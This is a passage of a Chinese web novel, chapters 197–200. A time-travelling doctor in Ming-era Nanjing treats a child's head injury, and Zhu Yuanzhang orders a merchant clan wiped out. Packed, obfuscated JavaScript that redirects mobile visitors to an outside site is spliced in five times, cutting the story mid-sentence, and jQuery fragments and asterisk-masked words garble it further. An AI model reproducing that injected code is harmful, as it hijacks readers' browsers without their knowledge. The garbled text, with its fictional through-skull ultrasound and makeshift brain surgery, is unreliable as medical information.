;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991267|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>“夫人,我想歇歇……”陈安虚弱道。
一家四口坐下来,靠在树根下。
陈安看着眼前流淌的秦淮河水,满腔都是懊悔。
如今家没了,祖产也要没了。
奋斗了十几年,到头来一场空。
“娘,我饿……”小女儿道了一声。
七岁的儿子也起身,“娘,我也饿……”
妇人急忙去解开从医馆离开时,马淳的夫人徐妙云给的那个蓝色包袱。
徐妙云在他们临出门的时候,说里面带了一些吃食。
然而一解开,妇人啊了一声。
“怎么了?”陈安问。
“这……这……这……”妇人结巴起来。
陈安这才将目光投向包袱内。
包袱内有几个油纸包,看上去是包着一些吃食,最要紧的是油纸包上面覆着三张宝钞和一封信。
宝钞都是五十贯的面值,合计就是一百五十贯。
现如今宝钞还没贬值得太厉害,这一百五十贯差不多是一百两银子的价值。
这……
这一下就能解决掉他们典贷的贷款。
陈安手都激动地颤抖,展开那封信,是马淳的笔迹。
“药为引,钱为本,好好过日子!”
几个字顿时让这一家人感觉神仙也不过如此。
“这对夫妻果然神医也……治病救人,还医心……”陈安的眼泪都跟着落下来。
他陈安是个读书人啊,读书人最重面子,他天生脸皮薄,人家马淳看病不收他们的药钱和诊费,已经让他很过意不去。
如果马淳当时要给他们钱解决眼前的困境,陈安可能会羞愧地跳秦淮河去**。
所以马淳夫妻才会用这种无声的帮助,让他们不至于在那么多人的面前丢人。
陈安要面子,但他不迂腐。
这些钱是人家大夫仁慈,也是如今自己必须要接受的,若不然,难道看着妻儿饿死街头?
想到马淳夫妇如此贴心,陈**上妻儿,“来来来……我们给马大夫夫妻磕个头。”
夫妻二人带着儿女恭恭敬敬地跪在地上。
“愿马大夫和马夫人长命百岁,事事顺遂!”
……
第197章想尝尝你的茶,用嘴喂我
秋雨绵绵,如细密的银丝。
河面泛起无数细小涟漪,荡漾开来。
远山如黛,烟雨迷蒙,笼罩水乡。
难得的宁静。
小青村医馆后门临河处,泊着一只小巧的乌篷船。
船篷被雨水洗刷得发亮。
船内,铺了厚实软和的羊毛毡毯,隔绝了秋凉。
一方小桌,摆着几个白瓷碟子。
碟中点心残屑犹存,两盏清茶尚温,茶烟袅袅。
徐妙云惬意地依偎在马淳怀里,小腹隆起明显。
马淳一手揽着她,另一只温热的手,正轻轻揉捻着她柔软的耳垂。
两人无言,享受着这偷闲的片刻。
船舱隔绝了风雨,也隔绝了外界的喧嚣。
只有雨打船篷的沙沙声,规律而轻柔。
徐妙云满足地微叹一声,朝马淳怀里更深地窝去。“夫君。”
“嗯?”
“这时光真好。”徐妙云声音柔软。
马淳唇角微扬,应了一声,“嗯。”
他目光掠过船舷,望向烟波浩渺的秦淮河面。
画舫游船在细雨中缓缓穿行,影影绰绰。
几日前医馆门前的悲泣哀嚎,仿佛已是隔世。
但马淳知道,苦难并未远离,只是暂时隐匿。
铁娃父子尚在调养,那湖边的钉螺仍是威胁。
湖阳村的悲剧会不会重演?
朱元璋掀起的海上腥风血雨,又该吞噬多少生命?
还有那哭号着被赶出家门、险些疯掉的户部书吏陈安……
马淳的思绪被怀中微动打断。
徐妙云仰起脸,眼中映着他的面容。
“夫君在想什么?”她柔声问。
马淳收回目光,垂眸看她。
“没什么,难得清闲,放空而已。”他声音温和。
手习惯性地抚上她隆起的小腹。
那里面,是一个正在茁壮成长的新生命。
是他们在这陌生时空里,最温暖的依靠与期许。
掌心传来微微的动静。
“哎!”徐妙云轻呼出声。
“动了?”马淳眼中染上笑意。
“嗯!”徐妙云点头,脸上是初为人母的惊奇与幸福。
她抓住马淳的手,按在自己腹上,“就在这儿,又踢了一下,好有劲!”
隔着薄薄的衣衫和皮肉,生命的跳动清晰可感。
马淳感受着那有力的胎动。
他数着节奏,探着位置,估算着发育。
“很健康,有力气。”他笑着点评。
雨声沙沙,船儿在微波中轻摇。
一种踏实而纯粹的幸福,弥漫在小小的船舱。
徐妙云捉住他放在自己腹前的手,十指紧扣。
“真好。”她低语。
马淳握紧她的手,无声回应。
徐妙云的目光也投向船外雨幕。
“前日午后,那位户部的陈先生家娘子……又悄悄来了一趟。”她忽然轻声说。
马淳没有意外,“嗯。”
“不是来瞧病。”徐妙云顿了顿,“她说,天没亮就去应天府衙外递了状纸。”
“告那霸道的房主?还有那钱庄?”马淳问。
徐妙云点头。
“应是找了识字的同乡重新写了状子。”她把玩着马淳的手指,“她说,陈先生这几日吃了药,精神好多了。虽有时还怔忡……但总算能理事了。”
“他们一家……托邻居照看孩子。夫妻俩又去府衙外排着,求个公道。”
“她特意来,说是一定要让我们知道,那钱,是救命钱,也是撑腰的胆气钱。”
徐妙云抬起头,眼中有些感慨。
“她说……若没有夫君的神药定惊,没有那笔活命钱……”
“他们一家……恐怕真得被逼跳了秦淮河。”
马淳静默听着。
“她走时,一个劲儿朝医馆方向磕头。”徐妙云的声音带着怜惜。“在巷子口,朝着门磕了好几下才起身走了。”
雨丝斜织,水汽氤氲。
马淳的目光看向远方迷蒙的街巷,似乎能看到那对寒微夫妻,在威严府衙前,他们执拗而卑微的身影。
“但愿……能遇上个明理的推官。”他低声道。
这京城,天子脚下。
权势者视人命如草芥,如棋局。
可蝼蚁般的百姓,也在挣扎求生。
为自己的方寸之地,争那一线天光。
徐妙云察觉到他情绪微沉。
她紧了紧相握的手。
“夫君已做得足够多。”她柔声安慰。
马淳回过神,朝她安抚一笑。
“是,世间有不公,但总有公道心,总会遇到。”他搂紧妻子。“就像此刻,我们偷得半日闲。看着山水,听着雨声。感受着孩儿在你腹中拳打脚踢。这就是好光景。”
徐妙云重新靠回他胸前。“嗯。”
船舱里再次安静下来。
两人都默契地将那些沉重的纷扰暂时搁置,只关注于当下。
船外雨雾朦胧,船内温暖相依。
马淳的目光掠过桌角的茶点,他拿起一块细巧的绿豆糕,“再尝一块?你喜欢的。”
徐妙云笑着摇摇头,“饱了。不过……想尝尝你的茶,用嘴。”
她眨了眨眼。
马淳心头有一丝异样,端起自己那杯温度刚刚好的茶,含了一口小心地凑到她唇边。
徐妙云浅浅啜了一口。
茶香清冽,暖意入喉。
“真甜。”她喟叹。
雨点敲打在乌篷上,温柔地将小船包裹。
远处河面上,一艘稍大的游
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004232|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
船缓缓驶过,传来若有若无的丝竹管弦声,缥缈悠扬,与雨声应和。
“城里富家子弟,雨中作乐呢。”徐妙云听着音乐。
“各有各的乐法。”马淳道。“我们这野趣,也不差。”
他低头,在她发顶落下一吻。
徐妙云抿嘴笑着,蹭了蹭他的下颌。
马淳又捏起一颗蜜枣,“这个开胃,不腻。”
徐妙云张开小嘴接过来,小口小口吃着。
蜜枣的甜,茶的清,混杂着毡毯的暖香。
构成了这秋雨午后独特的味道。
徐妙云吃着蜜枣,思绪又回到病患。
“那江州来的铁娃父子……小六说,按夫君的方子调养着。”
“铁娃昨日想吃鱼汤了,是个好兆头。”
“老伯也听劝,正盘算着卖了破船……另谋出路,远离那‘毒水’。”
马淳点头。
“能想通就好,安土重迁……有时是祖辈的坟墓。”他叹息一声。“要拔根……也不易。”
河对岸,有村民披着蓑衣匆匆走过,朝着田的方向。
“秋雨连绵,地里的谷子怕要发愁了。”徐妙云看着那人影。
“丰年不易。”马淳也望向田野。“但愿别涝了。”
医者的手再次回到妻子腹上,感受着那奇妙的胎动。
“小家伙很喜欢这摇摇晃晃的感觉。”徐妙云笑。
“嗯,像摇篮。”马淳低头轻语。
“孩儿,听到了吗?雨声就是最好的安眠曲,以后你听到雨声就要乖乖入睡知道吗?别吵着了你娘。”他对着妻子的腹部说话。
徐妙云忍不住笑出声,手轻轻拍他一下。“哪有你这样说话的。”
“提前熟悉一下。”马淳也笑了。
小船轻摇,雨声依旧。
时间在这片刻的安宁中悄然流逝。
那些权谋、病痛、不公……
仿佛都被这秦淮烟雨暂时洗去了痕迹。
只余下船舱内,相拥的体温,和腹中对未来充满希望的小小拳脚。
徐妙云又打了个呵欠。
“困了?”
“一点,这摇着太舒服。”她懒懒道。
马淳调整姿势,让她枕得更舒服些。“睡吧,雨停我叫你。”
“嗯。”徐妙云安心地闭上眼。
雨声伴着沉稳的心跳,成了最好的催眠。
马淳看着她恬静的睡颜,听着她逐渐均匀的呼吸,自己也缓缓靠向船篷。
雨敲篷顶的沙沙声,细密交织。
他闭上眼,紧绷的心弦,在这一刻终于得以彻底放松。
在这秋雨笼罩的河心,在这飘摇安稳的方寸之地,听着雨声,揽着妻儿,沉入短暂的宁静。
远处应天府衙隐隐的钟声,顺着水波悄然传来……
第198章松江大户举家**!!
秦淮河的秋雨刚歇,短暂偷得的半日清闲后,马淳他们又投入到忙碌的生活。
午后,医馆里只剩下零星的病人。
徐妙云在看医书,马淳正给一位咳嗽的老者把脉。
小六麻利地收拾着熬药的陶罐,发出轻微的碰撞声。
门外响起熟悉的、带着点咋呼的脚步声。
“马兄!嫂子!”
傅忠人未到声先至,粗犷的嗓门撞开了医馆的门帘。
他大步流星走进来,一张脸不知是赶路还是兴奋,微微泛红,额角还有点汗渍。
他今日没穿那身惹眼的衣裳,换了一身半旧的短打,更显出骨子里的爽朗。
徐妙云抬起头,温和一笑:“傅忠来了。”
马淳也对傅忠点了点头,示意他稍坐,手上并未停下对老者的诊治。
“不急不急!”傅忠摆摆手,自己拉过一张条凳坐下,眼睛习惯性地在医馆里扫了一圈,像是在寻找什么有趣的谈资,“嫂子身子越发热利了!这气色真好!”
“托你的福。”徐妙云浅笑应着,她知道傅忠无事不登门。
片刻后,马淳为老者写好了方子,叮嘱几句,目送老者离开,这才转过身看向傅忠。
“你今日来,是为尊夫人取安胎药?”
“哎,正是正是!”傅忠站起身来,“内子这几日腰背是舒服些了,可又添了点腿脚浮肿的毛病。我就琢磨着,还是马兄开的药最是妥帖,安胎养气也得继续不是?劳烦嫂子再给配几剂。”
徐妙云应声:“好,我这就去给你抓药。”
她转向药柜,熟练地取出相应药材。
傅忠无事可做,人又闲不住。
他凑近马淳,搓了搓手,那双本就精神的眼睛里,八卦的火焰又开始燃烧。
“马兄,你猜我今早进城办货,听到了什么新鲜事?”他满眼都是八卦。
马淳正收拾案上的脉枕和纸笔,闻言动作稍缓:“哦?又有大事了?最近京里似乎颇不宁静。”
“可不是嘛!”傅忠的声音又忍不住拔高,兴奋之情溢于言表,“这回不是京里头,是松江府!松江府那边出了件天大的奇事!”
他神神秘秘地又往马淳这边凑近了些。
“说是松江本地,有户极有根基的大商贾!家私巨万!听清楚啊,是做朝贡海贸的!手里攥着朝廷的‘勘合’,专干这买卖,那真叫个富得流油!”
傅忠咂咂嘴,脸上是说不清道不明的复杂表情,有几分咋舌,更有几分对奇闻异事的天然热忱。
“结果你猜怎么着?”他瞪大了眼,“前两日,阖家!连主子带好些心腹仆从,几十口人啊!一夜之间,在自己那深宅大院里,齐刷刷……**了!”
他用手比划了一个“轰”的姿势,语气里满是难以置信。
“烧得那叫一个干净!据说大清早浓烟滚滚,衙役冲进去就剩一片焦炭瓦砾,人全没了!救都来不及救!你说这奇不奇?怪不怪?好端端的,家财万贯日子不过,跑去学那高僧焚身?还是全家一起?”
傅忠摇着头,啧啧有声:“太邪门了!这事儿在商贾圈子里都传遍了,听说连京城各衙门口都议论开了。有人说他们家怕是干了什么见不得光的勾当,惹来仇家上门寻仇,被逼得走投无路。还有人说,许是被下了什么南洋邪术蛊惑心智?啧啧,真真想不到啊!”
傅忠沉浸在自己的讲述里,表情丰富变换,似乎没注意到对面马淳眼神的变化。
徐妙云捧着几包捆扎好的药走过来,恰好听到傅忠最后几句。
她眉头微蹙,脸上也露出不忍和困惑:“全家……**?做海贸的?松江府?”
傅忠这才注意到徐妙云,连忙点头:“是啊嫂子!就离咱这不远的海边儿!我听到时,寒毛都竖起来了!”
他将药包小心翼翼地接过去:“劳烦嫂子费心!回头我让内子亲自来谢您和马兄!”
付了药钱,他又忍不住感叹,“这事儿,怕是要成了悬案咯!谁能想得通?几十口子人,没一个往外跑的?都那么甘心?”
傅忠絮叨了几句,见马淳没什么激烈的回应,以为他也被这奇事惊住了。
他收了收话头,提着药包:“得!药也拿到了,得赶紧回去伺候着,家里那口子还等着呢!马兄,嫂子,我先走一步!”
“慢走。”马淳终于开口。
徐妙云也道:“路上小心些,夫人若有不适,随时再来。”
傅忠应了一声,晃着药包,带着他得到的惊天八卦和他一如既往的风风火火,离开了医馆。
门帘晃动几下,复归平静。
医馆里安静了下来。
马淳站在原地,目光落在傅忠消失的门口。
徐妙云看着丈夫,她熟悉他每一个细微的表情变化。
此刻马淳虽未言语,但眼神中那份骤然凝聚的锐利和凝重,绝不仅仅是因为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004233|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听到了一个耸人听闻的惨剧。
“夫君?”她轻声唤道。
马淳闻声,眼神微微一动,思绪拉回些许。
他没有立刻说话,而是踱步到窗边,望着小青村午后宁静的村道。
小贩挑着担子走过,孩童嬉笑打闹,一切都笼罩在一种寻常市井的平和之中。
许久,他才开口,声音低沉平缓,却像冰面下潜流的暗涌。
“傅忠说……松江府……做朝贡海贸的大商贾……全家**?”
徐妙云点头:“是,他说得挺清楚。”
马淳沉默着。
傅忠是个直肠子,话从他嘴里说出来,虽有市井传闻的夸大和添油加醋,但核心事件往往是有影子的。
松江靠海,海贸大族,一夜灭门……这组合太过诡异!
一个可怕的念头出现——蒋瓛!
那条由蒋瓛掌舵的、密不透风的大船,已经起锚了!
不是驶向波涛汹涌的海域去拦截走私船,而是趁着夜色,悄无声息地抵达了看似平静的陆岸!
这根本不是什么**!
那所谓的“**”,不过是最后呈现在世人眼前的、一张被精心涂抹过的、用来盖住淋漓真相的破布!
所谓的“仇杀”、“邪术”,全是放给外界看的**!
这是警告?
是一记用几十条鲜活人命写成的、血淋淋的警告?
顺我者,尚有一线生机存疑;逆我者,连同你血脉相连的亲族仆从,定叫你死得悄无声息,永远消失!
马淳只觉得一股寒气,从脚底板直冲天灵盖。
松江府这颗“果实”,已然被无情摘下,碾碎成泥。
下一个又会轮到谁?
这血雨腥风一旦刮起,哪里才是尽头?
马淳不敢深想。
眼前的小青村依旧宁静,病人拿了药,满意地离去;小六在屋角勤快地擦拭着药臼;妻子站在药柜边,手习惯性地抚在小腹上,那里孕育着新生的希望。
这烟火人间的安宁表象下,暗流已然汹涌。
马淳深吸一口气,压下翻涌的心绪。
他不能乱,更不能让这沉重的恐惧感染身边的人。
他转过身,走向徐妙云。
“没事。”他对妻子低声道,“只是觉得……这事蹊跷得很。”
徐妙云看着他,没有再追问,只是轻轻握住他的手。
“嗯。”她应了一声,握紧了他的手。
……
第199章汪家要的是灭口!朕要的是灭门!
御书房。
烛火在朱元璋的脸上跳动。
他坐在龙椅上,手里捏着一封密报。
“松江府,王家,烧干净了?”
“是。臣顺着‘天泽兴隆栈’的线查到王家。人刚到松江,王家就……”
蒋瓛站在阴影里,
“举家**?”
“表面如此。”
“说清楚。”
“现场很刻意。”蒋瓛向前半步,“火起得猛烈异常。四邻听见惨叫奔出,正见到冲天烈焰。衙役扑灭后,几十口人已面目全非。焦尸堆叠在祠堂正厅。”
“一个逃出去的都没有?”朱元璋的眼皮抬了抬。
“前门后门,全从里面顶死。窗棂焊了铁条。像座刑场。”
“哼。”朱元璋指尖敲在黄花梨扶手上。
笃。
笃。
笃。
每一声都沉甸甸,“好快的刀。好毒的手。”
他问:“依你看,谁送的这把火?”
“东南海上的‘大山’。”
蒋瓛说得笃定,“臣这边刚摸到王家,那边就灭了门。不是寻常仇杀,是断尾求生。”
朱元璋停了敲打,“打草惊蛇了?”
“不会。”蒋瓛的声音斩钉截铁,他迎着皇帝的目光。“蛇窝太大,它们断不掉所有尾巴!”
“哦?”
蒋瓛从怀中掏出一张折好的细绢展开,又掏出几张薄纸。
灯光映着纸绢上密密麻麻的蝇头小楷。
“臣虽没拿到王家活口,但抓住了线头。”
他点着纸上几个画圈的名字,“这家船行主供血燕给太医院。”
“那家皇商送过三十七批昆仑鲍。”
“还有这个姓李的牙商,专替贵人们联络南洋奇珍……”
他又抖开细绢。
“洪武十一年至十五年海贸司所有进关的‘番药’都在这。温玉散里的**,只流进过两条商道。一条是王家,另一条——”
蒋瓛的指尖戳向绢布最下方一个朱笔圈注的名字,“在泉州,‘通海记’!”
朱元璋身体前倾。
“‘通海记’身后站着的人……陛下想必知道。”蒋瓛的声音压得更低。“泉州,汪家。”
“汪英龙?”朱元璋念出名字。
“是他。”
“好大的家业。”朱元璋向后靠回椅背。“给胡惟庸递金砖的汪英龙?”
“正是此人。”
朱元璋轻笑一声,“原来是他。难怪手能伸进宫里。”
他抬手拿起茶盏啜了一口。杯盖碰在沿上,发出清脆的一声。
“那批灭口的刀,查到哪去了?”
“从松江放出来的快马,一路奔泉州。”蒋瓛顿了顿。“在闽地界上没的。驿丞报‘夜坠深涧,人马俱碎’。”
“好一个俱碎。”朱元璋放下茶盏。“汪英龙这是急了啊。”
“是。”
“怕你摸过去?”
“是。”
“那你说,蛇惊了,还怎么抓?”
朱元璋的目光再次锁紧蒋瓛。
蒋瓛上前一步,单膝点地,“陛下,打草惊蛇是一忌。但草已打,若装作无事,蛇才会真正遁走。”
朱元璋没言声,用眼神示意他继续。
“王家案,有司已经定了天火焚宅。该结的案,让它结。”
蒋瓛抬起头,“臣的人已经动身。两条海蛟船盯着汪家。两条陆上的线,一条锁紧‘通海记’,另一条……”
他语气一顿,“……勾着宫里那个姓赵的内侍。汪英龙每年六月递进宫的‘土宜’,经手的都是这个赵公公。”
朱元璋的眼皮蓦地一掀。
“汪英龙递进去的东西,”他声音像淬了冰,“进了谁的宫院?”
“东宫,吕妃。”
“吕氏?”朱元璋缓缓重复一遍。
“臣已查实,洪武十一年三月,赵公公曾私下运入三匣‘南洋雪蛤’,指明送往东宫西配殿。”
“雪蛤送来当天夜里。当时还是侧妃的吕氏身边的贴身老奴就带人砸碎了一盏琉璃宫灯。理由是‘秽物染了主上的气’。”
“好个秽物。”朱元璋的声音冰凉,“东西呢?”
“灯是内造的,吕侧妃报了个‘失手’。琉璃碎片并灯油残渣混入草木灰,被小宦官运到城西焚化场。”
“但装雪蛤的锡盒没碎。有人偷偷倒掉雪蛤,把锡盒藏在宫花局一只废弃的梅瓶里。”
他摊开最后一张纸,纸上印着一个模糊的墨印,火焰纹环绕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004234|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着“汪”字。
“‘通海记’私铸的花押。每个锡盒底部都有。臣找专人拓印比对,丝毫不差!”
蒋瓛抬起头,“陛下,根还在海上!汪英龙就是那座‘大山’!他用毒物织网,缠**一个太子妃,现在又要网尽皇孙!”
朱元璋的手掌猛地拍在御案上!
“东宫成了毒窟!朕的儿孙成了鱼肉!”
朱元璋的声音震得殿梁嗡嗡作响。
那愤怒之中,却又透着一股骇人的平静。
良久。
朱元璋缓缓抬起脸。
脸上所有暴怒瞬间冰封。
“蒋瓛。”
“臣在!”
“证据在握了?”
“铁证如山!”
“好。”
朱元璋缓缓站起身。
“泉州汪英龙……松江王家的债,让他一并还了。”
朱元璋走下丹陛,“海上那条线,给朕掐断!连船带货带人,沉进海底!”
“通海记的铺面、账簿、银库、货栈……一丝灰都别给朕留下!”
“宫里那条毒虫……动吕氏,会打翻多少瓦罐,你心里清楚?”
蒋瓛回道:“臣清楚!东宫关联着朝中多少双眼睛!动一人,百鬼惊!”
“惊了好。”
朱元璋的声音陡然轻缓下来,却更冷更厉,“惊了,蛇鼠才会窜洞,魍魉才会现行!”
“传旨。”朱元璋没有回头。“吕氏病笃,着即迁往冷宫静养。无旨,任何人不得探视。”
“御膳房总管赵槐勾连奸商,秽乱宫禁……杖毙于内廷司。”
“至于泉州……”朱元璋终于转过身,“汪家要的是灭口。朕要的是……灭门。”
“臣领旨!”
蒋瓛重重叩首。
“该结的案要结。”朱元璋的声音又恢复平淡。“该收的网,更要收干净。”
他抬手一挥。
“去办。”
蒋瓛起身告退。
“记住,朕……什么都不知道。”
门在他身后无声合拢,御书房内重归死寂。
朱元璋重新坐回龙椅,他捡起案上那块温凉的玉韘。
“汪英龙……”朱元璋低低自语。“这座山……朕亲自替你削平!”
……
第200章脑出血!小孩摔跤后绝对不能轻视
秋雨停歇,空气清冷。
小青村医馆弥漫着草药的苦涩香气。
傅忠带来的松江府**消息,沉甸甸压在马淳心头。
但他很快将它锁进心底深处,眼前的病人更重要。
送走傅忠不久,一阵急促杂乱的脚步声打破了午后的宁静。
“大夫!马神医!救命啊!”
门帘被粗暴撞开。
一对年轻夫妻跌跌撞撞冲进来。
男人怀里抱着一个大约七八岁的男孩。
孩子双眼紧闭,软软地瘫着。
女人脸色煞白,声音都变了调。
“快!快救救我家虎子!”男人声音沙哑急切。
他小心翼翼地将男孩平放在诊床上,孩子脸色灰败,呼吸微弱。
徐妙云立刻放下医书站起,小六也停了手中的活儿,紧张望过来。
马淳神情一凝,快步上前。
“怎么回事?”他沉稳问道。
手已搭上孩子纤细的腕脉。
脉搏微弱迟涩,似有阻隔,绝非好兆头。
“就……就昨天!”妇人抢着说,眼泪扑簌簌掉,“他在村口玩,绊了一跤!头……头磕石头上了!当时就哭,额头鼓了个大包。”
她用手比划着位置,正是男孩额角一块明显的瘀肿。
“哭得可厉害了!”她抹着泪。“我们看着没啥,就是破点皮,青了一块……哄哄他,给了块糖,就不闹了。
“可……可回家后……”她声音发抖。
“回家他倒头就睡!”男人接口,“平常皮小子一个,可到饭点敲锣都叫不醒!我们以为摔疼了累着了,没多想,早上该醒了也不醒!喊他推他都没反应!”
“好不容易睁了眼,就……就开始吐!呕得胆汁都出来了!”他急得跺脚,“吐完了又昏睡过去,浑身冰凉!”
徐妙云听着,下意识捂住了自己隆起的小腹,眼中流露出母亲特有的担忧。
“就磕了一下头……”
马淳的眉头早已拧紧,他翻开孩子的眼皮,瞳孔不等大!右侧瞳孔明显散大,对光反射迟钝!这是颅压升高的典型体征!
“是脑袋摔坏了!”马淳沉声说,“磕的那一下,看似不重。但里面可能已经出血了!血块压迫脑子,人就昏了!”
孩子母亲双腿一软,几乎瘫倒,“出血……脑子……我的儿啊……”
男人慌忙扶住妻子,急问:“神医!那……那怎么办?”
“让我仔细看看。”马淳语气坚定。
他立刻从角落的药柜后,推出了那台银白色的“宝镜”——便携式B超。
这机器,他已用得熟练,村民们仍觉惊奇,但已见怪不怪。
“小六,清理额头淤血旁皮肤。”
“娘子,安抚家属。”马淳的声音平稳,
小六麻利端来温水,擦拭男孩额角伤口周围,动作轻柔。
徐妙云强忍心中惊悸,上前扶住摇摇欲坠的母亲,“大嫂,放心我夫君定有办法。您先缓缓。”
银白色的B超探头,带着温热的耦合剂,贴上男孩颅骨周围的皮肤,那瘀青旁。
马淳的目光紧紧锁定屏幕,诊室里静得可怕,只有设备低微的嗡鸣和孩子微弱的气息。
孩子的父亲屏住呼吸,母亲死死抓着徐妙云的手。
徐妙云的心跳得厉害,腹部也感一阵紧绷,胎儿仿佛也感受到了不安。
屏幕上模糊的颅内图像渐渐清晰,马淳的瞳孔猛地收缩。
他的手指点在屏幕上某处,“这里……”
屏幕图像被他放大数倍,一个异常的、不规则的暗区显现出来。
位于硬脑膜下,像一片浑浊的污渍,紧紧压迫着下方的脑组织!
“看到了吗?”马淳指着那片暗区,“这就是出血形成的血肿!它在挤压着孩子的脑子!血肿不小!压力很高!这是致命的硬膜下血肿!”
“天爷啊……”孩子母亲一声哀嚎,瘫坐在地。
男人面如死灰,双手颤抖。
诊室角落,几个等候的村民也吓傻了。
“就……就磕一下……头里面就出血了?”
“还能要命?”
议论声充满了难以置信的恐惧。
马淳收回探头,他转向徐妙云,也转向所有在场的人。
这一刻,科普至关重要,尤其要让准母亲的徐妙云明白。
“记住了!”马淳提高声音,目光扫过在场每一张脸,“头部的伤,尤其是碰撞后,绝不能只看表面,流血、破皮、肿包是小问题,真正要命的是里面!”
“颅内的血管可能被震裂了!血会慢慢渗出来,在封闭的颅腔内积攒,形成血块!这个血块会不断增大!颅内空间只有这么大,血块会狠狠压迫柔软脆弱的脑组织!”
“起初,孩子可能只是昏睡、叫不醒!像累极了的样子。接着,就会剧烈呕吐!因为脑子被压迫,控制呕吐的中枢失控了!”
“然后……”马淳的声音更低一分,“颅内压力越来越高,把控制呼吸心跳的生命中枢也压住了!人就会停止呼吸!最后……”
他没有说完,但意思已明。
冰冷的恐惧感瞬间弥漫整个医馆。
徐妙云捂着腹部的手收得更紧。
她声音发颤地问:“如果……是更小的孩子?刚会走路?或者……还在肚子里的娃娃?”
她作为母亲的本能,让她立刻联想到了未来自己孩子的安危。
马淳看着她惨白的脸,心揪了一下,但此刻必须说透,“同样危险!”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004235|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
孩子越小,头骨越软,脑组织越娇嫩!对撞击更敏感,更容易出事!一点看起来小小的摔打、摇晃……都可能让里面的血管破裂!后果一样严重!”
他转向孩子父母,“你们孩子就是这样!昨天摔跤后立刻昏睡,就是最早的警示!你们错过了第一个救命的时间窗口!现在是恶心想吐!再拖延……”
孩子父母绝望哭泣。
“那……那现在怎么办?”男人仿佛抓住最后一根稻草,“神医,求您救救虎子!”
马淳看着诊床上昏迷的孩子。
眉头紧锁。
“必须尽快清除血肿,降低颅内压力!否则神仙难救!现在有两个法子。第一,用金针!刺穿颅骨,放出积血!但这个方法极险!角度、深度稍有差池,就可能伤及更深处的脑组织!血也未必能放干净!”
“第二……”他深吸一口气,“开颅!切开一块头骨!在直视下,彻底清除血肿!再缝合。”
“开……开颅?”孩子母亲吓得魂飞魄散。
“切开头?脑袋切开?”村民中有人倒吸冷气,“这……这脑袋也能打开?”
“常人当然不行!”马淳眼神锐利,“但我有‘宝镜’指引!我能看见里面的血块!我能避开要害!这是最直接有效的方法!也是孩子目前唯一的活路!”
“当然这主要是看你们能不能接受这种治疗方法!”马淳最后还是选择尊重孩子父母的意见。
孩子父母看到昏迷不醒的孩子,最后只能点头答应。
于是马淳看向徐妙云,“妙云,准备乙……消毒液!高度烧酒!热水!最细的丝线!”
他差点说出“**”二字,幸好及时收住。
“小六!准备干净刀具!蜡烛!烈酒消毒!再去取那套最薄的‘金针’!”
他指的其实是特制的手术刀片和缝合针线。
这些精密工具,都来自兑换系统,村民们只知道是“神物”。
小六浑身一震,但毫不迟疑,“是!师傅!”
徐妙云立刻转身,她的动作依然有些迟缓。
腹中胎儿似乎踢了她一下,她在柜中快速翻找着马淳所需,手微微发抖。
丈夫要做的是开人脑袋啊!
这画面想想就令人窒息。
但作为医者之妻,她深知时间的宝贵。
强压心悸,将烈酒、热水和所需物品备好。
放在一张临时清理出的矮几的不锈钢托盘上,矮几推到诊床边。
医馆内有新辟的手术室,设备什么都是通过系统兑换,绝对能做手术。
他和徐妙云、徒弟小六穿上手术服,全身消毒之后,他取过烧酒,仔细搓洗双手。
